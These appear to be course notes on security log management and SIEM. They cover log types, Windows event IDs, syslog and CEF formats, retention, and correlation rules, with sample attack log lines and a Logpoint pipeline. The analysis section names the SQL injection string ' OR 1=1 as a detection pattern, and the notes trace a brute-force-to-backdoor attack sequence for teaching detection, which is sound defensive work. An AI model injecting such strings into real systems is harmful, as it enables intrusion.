| Authentication | User login and logout activity, success and failure, with user, time, source and method | login success and failure logs | brute force, password spraying, stolen credentials |
| Authorization | Actions taken by privileged administrators, and what each user was allowed to do | changes to user roles or permissions | privilege escalation, misuse of admin rights |
| System | System level events and errors from the operating system | critical system errors and events | crashes, services stopped, drivers loaded |
| Application | Application specific events and errors | user interactions within an application | abuse of application functions, faults after updates |
| Network | Network activity: flows, connections, DNS queries | network traffic threats | scans, beaconing, unusual patterns |
| Firewall | Allowed and denied traffic, incoming and outgoing | recording incoming and outgoing connections | blocked probes, traffic to banned ports and places |
| Database | Database transactions and potential issues | logging SQL queries and changes to the database | SQL injection, bulk reads of sensitive tables |
| Security | Security related events, for analysis and response | intrusion detection alerts, anti-virus scans | malware, known attack signatures |
| Audit | A record of all significant events, for compliance and accountability | logging user actions and system changes | unauthorized changes; proof for auditors |
Answers: the nine types of log, in the deck's order: the full list behind "What types of logs can be integrated into a SIEM?"
How it decodes: nine words, nine types, initials in order: when his friend came, uncle got drunk, knocked the fridge over and fell asleep in the courtyard. Mind the A's: the first two are authentication, then authorization (who you are comes before what you may do); Aaunda is application; Aanganma, the last, is audit.
- AAnkal Authentication
- AAafno Authorization
- SSaathi System
- AAaunda Application
- NNashama Network
- FFridge Firewall
- DDhalera Database
- SSutnubhayo Security
- AAanganma Audit
What the information looks like. Four types, one simplified entry each, all from the same attack:
authentication Jul 8 10:45:15 web01 sshd[2213]: Failed password for admin from 203.0.113.45 port 51122 ssh2 firewall 2026-07-08 10:45:20 fw01 DENY TCP 203.0.113.45:51133 -> 10.0.5.10:3389 database 2026-07-08 10:47:02 db01 user=webapp query="SELECT * FROM students" audit 2026-07-08 10:52:40 dc01 event 4732: svc01 added to Administrators by admin
Three pairs that are easy to confuse.
- Authentication against authorization: authentication asks whether a person proved who they are; authorization asks whether that person was allowed to do what they did. To remember it: showing your college ID card at the gate is authentication; whether the same card opens the server room door is authorization. A takeover often shows a clean authentication record and a very interesting authorization one.
- Security against audit: security logs exist to detect, so they are read in real time; audit logs exist to prove, so they carry stricter retention and integrity rules and are what the auditors of chapter 7 ask for by name.
- Network against firewall: a firewall log records the firewall's decisions, allow or deny; a network log records traffic itself, such as flows and DNS queries, whether or not anything was blocked.
Anything that writes a record can be integrated: in the class notes' words, a SIEM's logs come from nearly every component of an IT environment, its operating systems, applications and network devices. Beyond the nine types, the notes list endpoints, switches, routers, servers and mail servers, IoT devices and printers as sources; the next card maps them by layer. A SIEM usually starts with the logs that catch the most for the least volume: authentication, firewall and VPN, DNS and proxy, endpoint security, and the audit logs of critical servers and cloud accounts.
- What types of logs can be integrated into a SIEM? Give at least four examples. 2083 internal Q7 · 5
- Identify and describe four different types of logs (e.g., Authentication, Firewall, Application, etc.). For each type you choose, explain the specific kind of information it typically records. Notes prediction, ch 4 Q2 · 8
Log sources by layer: operating systems, applications, network devices and cloud COURSE
Which devices and applications generate logs? Nearly all of them. The deck answers by walking the path an outside request takes into an organization, where every hop writes its own record:
Internet -> Firewall allowed and denied connections -> Router routing changes, interface events, NetFlow -> Web server access log (every request), error log -> Database queries, logins, changes -> Users their endpoints: logons, processes, antivirus
To remember it: checking your result on a college exam portal walks the same path. The firewall logs the allowed connection on port 443, the router can record the flow, the web server logs the request with your roll number, the database logs the query that fetched your marks, and your phone keeps the visit in its history: one click, a record at every hop.
The syllabus groups sources in three layers, operating systems, applications and network devices. In practice three more are always collected: security tools, cloud services, and physical and IoT devices.
- Operating systems. Windows keeps event logs, seen in Event Viewer as Application,
Security, Setup, System and Forwarded Events; the Security log holds logons and privilege use
(the event IDs). Linux writes through a syslog daemon to
/var/log/syslogor/var/log/messages, logins to/var/log/auth.logon Debian and Ubuntu or/var/log/secureon the Red Hat family, and keeps the systemd journal and, for detailed kernel auditing, auditd. - Applications. Web servers (Apache and nginx access and error logs, IIS logs), databases (query, error and audit logs), mail servers (message tracking), business systems such as ERP and core banking, and custom code through its logging library.
- Network devices. Firewalls (every allow and deny with source, destination and port), routers and switches (configuration changes, interfaces going up and down, NetFlow or IPFIX flow records), IDS and IPS (signature alerts), web proxies (who visited which URL), VPN gateways (sessions), DNS servers (queries) and DHCP servers, which say which machine held an IP address at a given time.
- Security tools. Antivirus and EDR (detections, quarantines), DLP, identity systems such as Active Directory and the identity provider (logins, MFA prompts), email gateways and vulnerability scanners.
- Cloud. The chapter 5 deck's cloud slide lists four kinds: cloud native log services (CloudWatch, Azure Monitor, Google Cloud Logging); control plane audit logs (AWS CloudTrail, Azure Activity Log, GCP Audit Logs), which record every API call made against the cloud account itself; container logs (Kubernetes audit logs, collected with Fluentd, Fluent Bit or OpenTelemetry, because containers live too briefly for a traditional agent); and the findings of cloud security tools, CSPM (posture), CIEM (entitlements) and CWPP (workload protection), forwarded as structured findings so that a misconfiguration or an excess permission can be correlated with activity.
- Physical and IoT. Badge readers, camera systems, network printers and sensors log too; a line like the deck's "Printer connected" comes from the device itself or from the computer it joined.
Cloud brings its own problems, the same slide warns: log volume and storage and egress costs can be far higher than on premises; DevOps teams create resources without security, so logging is not always switched on or forwarded; there is no single wire to tap; and under shared responsibility the provider logs its own layer while the customer must enable, forward and review the rest.
- Which devices/applications generates logs ? Deck, ch 4 Q5
- Explain the sources of logs in an organization at the operating system, application, network device and cloud layers, with the events each one records. What do the Windows Security event IDs 4624, 4625, 4688 and 4720 record, and why does an analyst watch them? Predicted, ch 4 Q2 · 6+4
Windows event logs, and the event IDs an analyst reads PREDICTED
The most examined operating system source. The deck shows Event Viewer on a workstation, whose Security log alone held 29,665 events:
- The tree in Event Viewer: Custom Views, which are saved filters; Windows Logs, which are Application, Security, Setup, System and Forwarded Events; Applications and Services Logs; and Subscriptions, where Windows Event Forwarding is set up on a collector, its events landing in Forwarded Events by default.
- Fields of every event: Log Name; Source; Event ID; Level; User; Logged (date and time); Task Category; Keywords (Audit Success or Audit Failure); Computer.
The event open in the screenshot is 5061, a cryptographic operation, category System Integrity, Audit Success, one of the routine system events that fill the log around the few that matter. Its Level is Information, as for almost every Security log event: there, success or failure shows in the Keywords field, Audit Success or Audit Failure, not in the level. The Task Category column groups the events: Logon for 4624 and 4648, Special Logon for 4672, System Integrity for 5061 and Other System Events for 5058.
The Actions pane, down the right of the same window, is the analyst's toolbox:
| Action | What it does |
|---|---|
| Filter Current Log | shows only the chosen event IDs, levels, sources, users or time range, such as every 4625 of the last 24 hours |
| Find | searches the text of the events |
| Create Custom View | saves a filter for reuse, listed under Custom Views |
| Save All Events As | exports the whole log, as an .evtx file kept for evidence or as XML, CSV or text for other tools; Save Selected Events exports only the highlighted ones |
| Open Saved Log | opens an exported .evtx file, such as one copied off a suspect machine |
| Clear Log | empties the log; clearing the Security log itself writes event 1102 |
| Attach a Task To This Event | runs a program whenever that event recurs |
The event ID is the key field, because it says what happened in one number. The ones worth knowing, all from the Security log unless marked:
| ID | What it records | Why an analyst watches it |
|---|---|---|
| 4624 | An account successfully logged on | who logged on where and how; the logon type separates interactive (2), network (3) and remote desktop (10) logons, and lateral movement shows as type 3 or 10 logons to hosts the account never uses |
| 4625 | An account failed to log on | many for one account is password guessing; one or two for many accounts is spraying; the failure reason separates a wrong password from an unknown user |
| 4634, 4647 | Logoff | session length, paired with 4624 |
| 4648 | A logon was attempted with explicit credentials | something run as another user, a mark of credential misuse |
| 4672 | Special privileges assigned to a new logon | an administrator level logon; in the deck's screenshot it follows 4624 |
| 4688 | A new process was created | what ran and its parent, such as Word starting PowerShell; the command line is recorded only if that policy is switched on |
| 4720 | A user account was created | backdoor accounts for persistence (ATT&CK T1136) |
| 4728, 4732 | A member was added to a security enabled global or local group | privilege escalation, such as being added to Administrators |
| 4740 | A user account was locked out | a brute force reaching the lockout threshold |
| 1102 | The audit log was cleared | covering tracks (T1070.001) |
| 7045 (System) | A new service was installed | remote execution tools and malware persistence |
Read as a story, not one by one. Thirty-seven 4625 events for admin from one address,
then a 4624 of type 10 from the same address, a 4672, a 4720 creating svc01, a 4732
adding it to Administrators, and finally a 1102: a password was guessed, the attacker logged in
over remote desktop with admin rights, planted a backdoor account and wiped the log. Only the
copy already sent to the SIEM survives the last step, which is the case for
central collection.
What is logged depends on the audit policy. Windows records only what its audit policy asks for; process creation auditing, for one, is off by default. Microsoft's Sysmon adds richer events, and the hunting scenarios of chapter 3 use them with 4624 and 4625:
- Sysmon event IDs: 1 process creation, with hashes and parent; 3 network connection; 11 file creation; 22 DNS query.
- Explain the sources of logs in an organization at the operating system, application, network device and cloud layers, with the events each one records. What do the Windows Security event IDs 4624, 4625, 4688 and 4720 record, and why does an analyst watch them? Predicted, ch 4 Q2 · 6+4
4.3Log collection, aggregation and retention
Collecting and aggregating logs: agents, agentless, push and pull PREDICTED
Why off the host, and fast. A log that stays on the machine that wrote it can be overwritten when the file fills, lost when the disk fails, and deleted by an intruder. Sent to a collector within seconds, it survives all three, and it can be read beside every other source.
Two ways to collect.
- Agent based: a small program installed on the host (the Logpoint agent, Elastic Agent, Splunk's forwarder, NXLog, Wazuh) reads the local logs, filters and compresses them, buffers them while the network is down, encrypts them and forwards them.
- Agentless: nothing is installed. Either the device pushes its own logs, as firewalls, routers and switches do over syslog, or the collector pulls them: Windows Event Forwarding subscriptions or WMI for Windows event logs, APIs for cloud and SaaS services such as CloudTrail, queries for databases.
| Point | Agent based | Agentless |
|---|---|---|
| Installation | software on every host, to deploy and patch | none; configure the device or the collector |
| Data | rich: any local file or event channel | whatever the device sends or the API exposes |
| Reliability | buffers during outages, so little is lost | UDP syslog is lost silently if the network drops |
| Security | encrypted and authenticated by the agent | depends on the protocol; plain syslog is cleartext and can be spoofed |
| Load | a little CPU and memory on each host | none on the host; the load sits on the collector |
| Used for | servers and workstations | network devices, appliances, cloud and SaaS |
Transport. Syslog travels traditionally over UDP port 514: fast, but with no delivery guarantee and no encryption. Over TCP it is reliable, and over TLS, on port 6514, it is also encrypted and authenticated. Cloud logs arrive over HTTPS APIs.
Aggregation does five jobs as the entries arrive:
- Tiered collection: collectors at each site or network segment gather locally and forward to the central SIEM, so a branch link failure loses nothing.
- Clock alignment: every source runs NTP and every timestamp is stored in UTC. A server in Kathmandu writes local time, UTC+05:45; without conversion its entries sit 5 hours 45 minutes away from a cloud log of the same second, and no correlation rule can join them.
- Filtering and deduplication: routine noise is dropped and repeats are merged into one entry with a count, which matters because SIEMs are licensed and sized by volume, in events per second or gigabytes a day.
- Tagging: each entry is labelled with the device and collector it came from.
- Queueing: bursts, such as a scan that produces thousands of denials a second, are buffered instead of dropped.
A source that goes quiet is a finding. The collector knows each source's normal rate, so a firewall that stops sending raises an alert of its own: either the device failed or someone switched its logging off.
An example, a college network. Firewalls and switches send syslog over TLS to a collector in the server room; the domain controllers and file servers run an agent; the web server's access log is read by the same agent; the cloud email service is pulled by API; all of it reaches the SIEM with UTC timestamps, as the "forwarded logs" of the SIEM pipeline.
- Explain how logs are collected and aggregated from across an organization, comparing agent-based and agentless collection. Why must logs be retained, and what decides how long they are kept? Predicted, ch 4 Q3 · 5+5
Log formats and parsing: syslog, CEF and JSON PREDICTED
Why a SIEM must parse. To a computer an unparsed entry is a string: it can be grepped, but a rule cannot ask "count failures per user" if nothing says which word is the user. The more structured the format, the easier the parsing:
- Kinds of format: unstructured free text (a syslog message); semi-structured key=value pairs (CEF extensions); structured JSON and XML (cloud records, Windows events).
To remember it: a bank SMS is an unstructured log entry. Dear Customer, A/C
##1234 debited by NPR 2,500.00 on 01/10/2026 is plain to a person, but an app that totals
a month's spending needs a pattern to pull out the amount and the date, and when the bank
rewords the message the pattern quietly stops matching: parsing, and its failure, in one SMS.
Syslog is the oldest and commonest: the protocol and format Unix systems and network devices use to send log messages. The old BSD form is RFC 3164 (2001) and the current standard is RFC 5424 (2009). An RFC 5424 message has a header, optional structured data, and the free text message:
- RFC 5424 header fields: priority; version; timestamp; hostname; application; process ID; message ID.
<38>1 2026-07-08T05:00:15Z web01 sshd 2213 - - Failed password for admin from 203.0.113.45 port 51122 ssh2
The priority number packs two values: PRI = facility × 8 + severity. Here 38 = 4 × 8 + 6: facility 4 (auth, security messages) and severity 6 (informational). The eight severities run from 0, the most urgent, to 7:
| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
|---|---|---|---|---|---|---|---|
| Emergency | Alert | Critical | Error | Warning | Notice | Informational | Debug |
| system unusable | act at once | critical conditions | error conditions | warning conditions | normal but significant | routine information | debugging detail |
Answers: the eight syslog severities, in order from 0, the most urgent, to 7.
How it decodes: eight words, eight severities, initials in order, the first word being severity 0: a lazy watchman, alone with no WiFi, saw God. Of the two E's, Euta, the first word, is emergency (0) and Eklai, the fourth, is error (3).
- EEuta Emergency (0)
- AAalsi Alert (1)
- CChaukidar Critical (2)
- EEklai Error (3)
- WWiFi Warning (4)
- NNabhai Notice (5)
- IIshwor Informational (6)
- DDekhyo Debug (7)
The older RFC 3164 form carries no year and no time zone, and its message is free text, so every device's wording needs its own parser.
CEF, the Common Event Format, was defined by ArcSight so that security devices could send events in one layout: a fixed header of seven pipe separated fields, then key=value extensions, the whole line usually travelling inside a syslog message.
- CEF header fields: version; device vendor; device product; device version; signature ID; name; severity from 0 to 10.
CEF:0|ExampleCo|EdgeFW|2.1|4001|Connection denied|5|src=203.0.113.45 spt=51133 dst=10.0.5.10 dpt=3389 proto=TCP act=deny
IBM QRadar's LEEF (Log Event Extended Format) follows the same idea of a header plus key=value pairs.
JSON is the format of cloud services and modern applications: nested key and value pairs that parse without any custom rule. A simplified AWS CloudTrail record of a failed console login:
{"eventTime": "2026-07-08T05:03:11Z",
"eventSource": "signin.amazonaws.com",
"eventName": "ConsoleLogin",
"sourceIPAddress": "203.0.113.45",
"userIdentity": {"type": "IAMUser", "userName": "admin"},
"responseElements": {"ConsoleLogin": "Failure"}}Two more you will meet. Windows stores events in binary EVTX files, each event an XML document with a System part (event ID, time, computer) and an EventData part (named fields such as TargetUserName, IpAddress and LogonType), so it parses cleanly once collected. Web servers write the Combined Log Format, one request a line:
203.0.113.45 - - [08/Jul/2026:10:45:15 +0545] "GET /admin/login.php HTTP/1.1" 200 5320 "-" "Mozilla/5.0"
Its fields are the client address, identity, user, time with its offset (Nepal's +0545), the request, the status code, the bytes sent, the referrer and the user agent.
How a parser works. For free text, a pattern, usually a regular expression, names the parts. For the sshd message above:
Failed password for (?P<user>\S+) from (?P<src_ip>\S+) port (?P<src_port>\d+)
It yields user=admin, src_ip=203.0.113.45 and src_port=51122. The danger is silent failure: when a firmware update changes a device's wording, its entries stop matching, arrive unparsed, and every rule that depends on them goes quiet, so the rate of unparsed events is itself monitored. The syllabus lab on log collection and parsing practises exactly this with parsing tools and regex patterns.
| Format | Structure | Typical sources | Parsing effort |
|---|---|---|---|
| Syslog | header plus free text message | Linux, routers, switches, firewalls | a parser per device wording |
| CEF, LEEF | fixed header plus key=value pairs | security appliances | low: the keys are standard |
| JSON | nested keys and values | cloud services, modern applications | lowest: self describing |
| Windows EVTX | XML per event | Windows hosts | low once collected |
- What is log parsing, and why must a SIEM parse logs before it can use them? Describe the syslog, CEF and JSON log formats with an example of each. Predicted, ch 4 Q4 · 4+6
Log retention: how long logs are kept, where, and why PREDICTED
Why keep logs at all. A log is only useful if it still exists when the question is asked, and the questions come late:
- Breaches are found long after they start. In the SolarWinds supply chain attack, tampered Orion updates went out from March 2020 and the intrusion came to light in December 2020; a victim with 90 days of logs could not see how it began.
- New intelligence reaches back. The chapter 3 deck's example: a threat feed pushes 200 new malicious IP addresses at 02:00, and by 02:01 the SIEM reports that one of them appeared in yesterday's web proxy logs. That retro search needs yesterday's logs (tactical intelligence).
- Laws and standards demand it. PCI DSS requires a year of audit log history with the latest three months immediately available (requirement 10.5.1 in version 4.0); India's CERT-In directions of 2022 require 180 days of logs kept within India.
- Evidence must survive to court. Nepal's Electronic Transactions Act 2008 gives electronic records legal recognition, and a log kept whole, with its integrity provable, can then support a case (cyber law in Nepal).
- Baselines need history. Deciding what is abnormal, as UEBA does, needs months of normal.
Why not keep everything forever. Storage and licence cost grow with every day kept; privacy law limits it, since logs hold personal data and the GDPR's storage limitation principle, like Nepal's Privacy Act 2018, expects personal data to be kept no longer than its purpose needs; and a debug log has no value after a few days.
So the period is decided by six factors: legal and regulatory requirements; contracts and industry standards; how far back investigations need to reach; the type and value of the log; storage and licence cost; and privacy obligations. The period goes into the organization's policy (chapter 7) and the tool implements it.
Storage tiers reconcile a long period with a low cost:
| Tier | Typical age | Used for | Cost and speed |
|---|---|---|---|
| Hot | days to weeks | live search, correlation, alerting, active investigations | fully indexed, fastest, dearest |
| Warm | weeks to months | hunting and scoping an incident | slower, cheaper |
| Cold or archive | months to years | compliance evidence, forensic retrieval | compressed, restored before search, cheapest |
| Disposal | end of the period | secure deletion | removes cost and privacy risk |
An example schedule, as one organization might set it: authentication and security logs 12 months (3 of them hot); firewall and VPN logs 12 months; web access logs 6 months; application debug logs 14 days. A SIEM such as Logpoint implements this with repositories, each with its own retention period, and routing rules that send each kind of log to the right one.
Retained logs must stay trustworthy. Integrity: hashes or signatures over stored logs, write once (WORM) storage, append only files. Confidentiality: encryption and tight access, since logs reveal users, systems and sometimes data. Availability: backups and replicas. Separation of duties: administrators cannot delete the logs of their own actions. For evidence, a chain of custody records who handled the logs and when.
- Explain how logs are collected and aggregated from across an organization, comparing agent-based and agentless collection. Why must logs be retained, and what decides how long they are kept? Predicted, ch 4 Q3 · 5+5
4.4Log analysis and correlation
Log analysis, correlation and enrichment COURSE
The deck's exercise: which entry deserves investigation?
| Entry | Reading | Verdict |
|---|---|---|
| User Mary logged in successfully. | A normal event, unless its context is odd: 3 a.m., a new country, a new device | no action; watch the context |
| User Admin failed login 37 times. | Far more failures than typing errors explain, against the most valuable and most guessed account name: password guessing (ATT&CK T1110.001) | investigate |
| Printer connected. | A routine device event | no action |
The next questions are what make it analysis. From which address did the 37 attempts come, and over how long? Did the account lock out (Windows event 4740), and if not, why not? Were other accounts tried from the same address, which would make it spraying? And above all, did a success follow? The last one cannot be answered from the failure log alone, and that is where correlation starts.
How logs are analysed: search and filter; match known bad patterns, such as
' OR 1=1 in a web log; count, rank and find rare values (top N source addresses, a
user seen once); compare against a baseline of normal; rebuild a timeline in order.
Indicators of compromise (IoCs) are much of what that search looks for: the traces an intrusion leaves behind, which the pyramid of pain ranks by how much they cost an attacker to change.
- IoCs found in logs: a known malicious IP address or domain; a file hash; a URL; a registry key; an odd user agent string.
- The syllabus lab on log collection, parsing and analysis asks for exactly this: examine logs from various sources for potential IoCs, with parsing tools and regex patterns.
How logs are correlated. Separate entries become one story when they share a key: the same user, IP address or host, inside a time window. A firewall allowing a connection from abroad, a VPN login for that user, a 4624 on a server the account never uses, and web proxy traffic to an address on a threat list are four ordinary looking events in four logs, and one intrusion when correlated. It needs normalized field names, synchronized clocks and rules, which the next card covers.
To remember it, picture two messages on your phone: your bank's SMS says your debit card was just used at an ATM in Pokhara at 10:05, while your eSewa receipt shows you paying for momo in Kathmandu at 10:03. Each is ordinary in its own log; on one timeline, joined on you, they are impossible, since nobody covers the Prithvi Highway in two minutes. That join is correlation, and it is the impossible travel use case.
| Point | Log analysis | Log correlation |
|---|---|---|
| Scope | one source or one log type | several sources together |
| Question | what happened here, and is it a fault, an error or a threat? | are these separate events one story? |
| Method | search, filters, statistics, patterns, baselines | rules joining events on a shared key within a time window |
| Output | a finding about one system | a relationship between systems, raised as an alert or incident |
| Example | 37 failed logins for admin on one server | those failures, then a success, then a new admin account |
| Blind to | anything spanning systems, such as lateral movement | whatever was never collected or normalized |
Why enrichment is crucial. A raw entry holds no judgement:
a connection to 66.66.66.66 is neither good nor bad on its own. Enrichment adds
what the entry lacks, as the entry arrives:
- Threat intelligence turns an address into a verdict. In Logpoint an enrichment
policy looks the field up in the threat intelligence table and adds, for example,
threat_category=C&Candthreat_score=100: an unread line becomes a priority alert (tactical threat intelligence). - Asset context sets severity. The same malware alert matters more on a domain controller than on a test machine.
- Identity context explains the user: department, job title, privileges, and whether the person has left the organization, which would have flagged the insider case at once.
- GeoIP and DNS make patterns visible: a country for each address reveals impossible travel; a host name for each IP says which machine is involved.
- It enables correlation: rules join on fields, so adding the user name to a bare firewall entry is what lets it be joined with the identity logs.
- It saves analyst time and cuts false positives: every lookup done at ingest is one an analyst does not repeat by hand on every alert.
- Which logs Looks Suspicious ? User Mary logged in successfully. User Admin failed login 37 times. Printer connected. Which one deserves investigation ? Deck, ch 4 Q4
- Differentiate between Log Analysis and Log Correlation. Explain why Log Enrichment (e.g., adding threat intelligence context) is a crucial step for effective security monitoring. Notes prediction, ch 4 Q6 · 4+4
Correlation rules and SIEM use cases PREDICTED
The kinds of rule:
| Rule type | Logic | Example |
|---|---|---|
| Single event | one event matching a condition | audit log cleared (1102) |
| Threshold | a count within a window crosses a limit | more than 30 failed logins for one user in 10 minutes |
| Sequence | event A, then event B, within a time | failures, then a success from the same address |
| Cross source | events from different logs joined on a key | VPN login and badge entry for one user at once, from two places |
| Absence | an expected event does not happen | a log source silent for 30 minutes |
| Threat intelligence match | a field matches an indicator list | DNS query for a known command and control domain |
| Statistical | deviation from a learned baseline | a user downloading ten times the usual volume (UEBA) |
To remember it: a bank card that locks after a few wrong PINs is a threshold rule with an automatic response, running on one system. A SIEM runs the same count across every system at once, and then asks what happened next, which is the sequence rule below.
One rule, followed through: a brute force that succeeds, the deck's 37 failures carried one step further.
- Normalize: every failed logon, whether a Windows 4625, a Linux sshd failure or a VPN rejection, becomes the same event type with the fields user and source_address.
- Group and count: the rule counts failures per user and source address over a sliding 10 minute window.
- Threshold: at 30 or more failures the group becomes a candidate; here 37 arrive in under four minutes.
- Sequence: the rule waits for a successful logon (4624) with the same user and source address inside the window; it arrives at 02:14:52.
- Alert: one high severity alert carrying all 38 events, instead of 38 lines for an analyst to connect by hand. A second rule catches what followed, the new account (4720) added to Administrators (4732).
The same evidence can be searched by hand. The chapter 3 deck's Logpoint hunt pivots on failed logins for one user and ranks the source addresses:
label=Login label=Fail user="rita.mm" | chart count() by source_address, workstation, user, host | order by count() desc
Use cases worth knowing, each with the logs it needs:
| Use case | Logic | Logs needed | ATT&CK |
|---|---|---|---|
| Brute force then success | many failures, then a success, same user and source | Windows Security, Linux auth, VPN | T1110 |
| Password spraying | one source, many users, one or two failures each | authentication, identity provider | T1110.003 |
| Impossible travel | one user logs in from two places too far apart for the time between | VPN, identity provider, cloud sign-in, GeoIP | T1078 |
| New admin account | account created, then added to an admin group | Windows Security on domain controllers | T1136, T1098 |
| Command and control | DNS or proxy traffic to a listed domain or address | DNS, proxy, firewall, threat feed | T1071 |
| Data exfiltration | outbound volume far above the baseline, or long random DNS names | firewall, NetFlow, DNS | T1048 |
| Dormant or leaver account used | login by an account unused for months, or of a person who has left | authentication logs, HR leavers list | T1078 |
A use case has a lifecycle: choose the threat, often from ATT&CK; check that the logs it needs are actually collected; write the rule; test it with simulated events; tune thresholds and allow lists against real traffic; write the response playbook (SOAR, incident handling); review it as the estate changes.
Tuning is the hard part. A rule that fires on every backup job buries analysts in false positives until real alerts are ignored, which is alert fatigue; a rule tuned too tightly misses real attacks, the false negatives. Rules are shared across products in the vendor neutral Sigma format, written once in YAML and converted into each SIEM's own query language; the chapter 3 deck lists Sigma rules among tactical threat intelligence.
- Explain how a SIEM correlation rule turns separate log events into one alert, using the example of many failed logins followed by a successful login. Describe four SIEM use cases and the log sources each one needs. Predicted, ch 4 Q5 · 5+5
4.5Security information and event management
SIEM: the platform that turns logs into alerts, and its architecture HOT 1/4
83 int5
To remember it: think of a shopping mall's CCTV room. SIM is the cupboard of recorded footage, kept for months and searched after a theft; SEM is the guard watching the live screens, who sounds the alarm the moment someone climbs the back wall. A SIEM is both, in one room.
Why it emerged. The chapter 5 deck gives the reason: manual log review could not keep pace once organizations ran hundreds of systems generating millions of events a day. A SIEM gives a single searchable view across firewalls, endpoints, identity and applications, and turns raw log volume into a manageable number of prioritized alerts.
SIEM at a glance, the Logpoint slide, puts the whole idea in one picture:
Under the picture, the slide makes it an argument in four steps:
- Enterprise data volumes are increasing exponentially.
- Data in raw form is impossible to process efficiently for most IT professionals.
- A SIEM translates raw data into actionable intelligence, through normalization and use cases.
- The intelligence is used in three main areas: security (is the enterprise edge secure?), compliance (how do I prove compliance?) and operations (are we maximizing efficiencies?). The slide also names business analytics.
Between the sources and those uses sit the three core processes:
| Process | What it does | Why it is needed |
|---|---|---|
| Normalization | maps every source into one schema: a firewall's src, the Source Network Address of a Windows logon event and the first field of an Apache access line all become source_address | without it, no search, rule or report can span two vendors |
| Storage | indexes and keeps the normalized events, in hot, warm and cold tiers, for the retention period | detection needs speed, investigation needs depth, compliance needs years |
| Analytics | correlation rules, statistics, baselines and threat intelligence matching over the events | this is where data becomes a decision; everything before it is plumbing |
The architecture in five stages. The same work, drawn as the stages an event passes through:
- Data collection: agents on hosts, syslog from network devices and APIs for cloud bring entries to collectors, which buffer them, stamp them with arrival time and forward them securely (collection). The deck's SIEM slide shows each kind of source with its own rules, firewall, OS, switch, application, router, server and mail server rules, feeding one store: every device type needs its own way of being read.
- Normalization: each entry is parsed into fields, the fields are mapped to the common schema, timestamps are converted to UTC, events are categorized, and enrichment adds threat, asset and identity context (the pipeline).
- Correlation: the rules engine evaluates the live stream against threshold, sequence, cross source and threat intelligence rules, using stored history where a rule needs it, and raises scored alerts (rules and use cases).
- Storage: events are indexed for fast search, compressed, moved through hot, warm and cold tiers, and kept tamper evident for the retention period (retention).
- Reporting and alerting: alerts go to analysts and to SOAR; dashboards show the current state; scheduled reports serve managers and auditors; search and case management support investigations (dashboards).
Correlation and storage run side by side, not one after the other: rules read events as they stream past, while storage keeps the same events for search, hunting and evidence.
What a SIEM costs. The deck's SIEM slide sets it in the middle of the three tools whose blind spots it covers, and gives each its strength and its price:
| Tool | Sees | Misses, or costs |
|---|---|---|
| Endpoint security | activity on endpoints | network traffic; endpoints with no agent are a blind spot |
| Network security | the network around the clock, north-south (in and out) and east-west (inside) | activity on endpoints; more false alarms |
| Data and application security | the critical assets it is required for | the network and endpoints; more overhead, complex |
| SIEM | network, endpoint and data, through their logs and alerts | costly, complex and resource intensive; requires in-house security expertise |
A SIEM also sees only what was logged and forwarded. Chapter 5 takes up the answers: its features and next generation form (SIEM features), SOAR for the flood of alerts, UEBA for what rules miss, and the visibility triad for what logs cannot see.
- With reference to SIEM architecture, explain how different stages (data collection, normalization, correlation, storage, reporting). 2083 internal Q6 · 5
- Define Security Information and Event Management (SIEM). Explain the core function of a SIEM in translating raw log data into actionable intelligence, covering the key processes of Normalization, Storage, and Analytics. Notes prediction, ch 4 Q3 · 2+6
The SIEM processing pipeline: collect, parse, normalize, enrich, route, store PREDICTED
Logpoint's view of the same work. The deck draws the path a log takes inside the SIEM as seven stages, with three of them grouped as the processing policy:
| Stage | What happens | What breaks without it |
|---|---|---|
| Devices | firewalls, servers, endpoints and applications write logs and forward them, by agent or syslog | nothing logged means nothing to find: coverage gaps start here |
| Collect | collectors receive the forwarded logs from every device into one central place, and buffer them | logs stay on the hosts, where they can be deleted and cannot be searched together |
| Parse | breaks each raw, unstructured entry into structured fields: time, host, user, source address, destination port, action, outcome | entries remain strings that can be grepped but not counted or correlated |
| Normalize | maps vendor field names (src_ip, Source-Address, client_ip) to one name, and standardizes time, units and categories | every rule must be written once per vendor, and cross source correlation is impossible |
| Enrich | adds context: a threat intelligence verdict that marks an IP address malicious, asset criticality, user details such as a job title (the class notes' example: Job Title: Administrator added to a username), GeoIP | alerts arrive without severity or meaning, and analysts do every lookup by hand |
| Route | sends each event, by rules on its fields, to the right repository (and so its retention period) and to live analytics, and can drop noise | everything lands in one pile, hot storage costs balloon, and retention cannot differ by log type |
| Store | indexes, compresses and keeps the finished events for search, correlation, reporting and evidence | events are seen once and lost: no hunting, no forensics, no audit trail |
Answers: the seven stages of the SIEM processing pipeline, in order, from the devices to the store.
How it decodes: seven words, seven stages, initials in order: the flashy thief danced in the shop, cried for a moment, and was caught. What he does once inside the shop, dancing and a moment's crying, is the processing policy: normalize, enrich and route.
- DDami Devices
- CChor Collect
- PPasalma Parse
- NNachyo Normalize, the first stage of the processing policy
- EEkchhin Enrich
- RRoyo Route, the last stage of the processing policy
- SSamatiyo Store
One entry through the pipeline. An SSH failure on a Kathmandu web server:
collect <38>Jul 8 10:45:15 web01 sshd[2213]: Failed password for admin from 203.0.113.45 port 51122 ssh2
parse time=Jul 8 10:45:15 host=web01 app=sshd pid=2213 msg=Failed password
user=admin src_ip=203.0.113.45 src_port=51122
normalize log_ts=2026-07-08T05:00:15Z label=Login label=Fail user=admin
source_address=203.0.113.45 source_port=51122 device_name=web01
enrich + threat_category=brute force scanner (threat intelligence match)
+ asset_criticality=high (public web server)
+ job_title=Administrator user_privileged=yes (identity lookup)
+ source_country (GeoIP lookup)
route authentication repository (kept 12 months) and the live correlation engine
store indexed; found later by label=Login label=Fail source_address=203.0.113.45Where parsing ends and normalizing begins. Parsing finds the parts of one entry;
normalization makes the parts of every entry agree. The time 10:45:15 is local Nepal time, UTC
plus 5 hours 45 minutes, so normalization stores 05:00:15 UTC; the labels Login and Fail are the
same ones every other login failure in the estate receives, which is why the one query at the
bottom finds this failure whether it came from Linux, Windows or the VPN. The class notes give the
same idea with source.ip as the common name.
- The processing policy: a normalization policy; an enrichment policy; a routing policy. In Logpoint the three are bundled and assigned to each log source, set once per device type and then applied to every entry that device sends.
- Pipeline stages in the architecture: devices and collect are its data collection; parse, normalize and enrich are its normalization; route and store are its storage.
The pipeline and the architecture are one system: correlation and reporting, the two architecture stages the pipeline does not draw, read what the pipeline stores and the stream it carries (SIEM architecture).
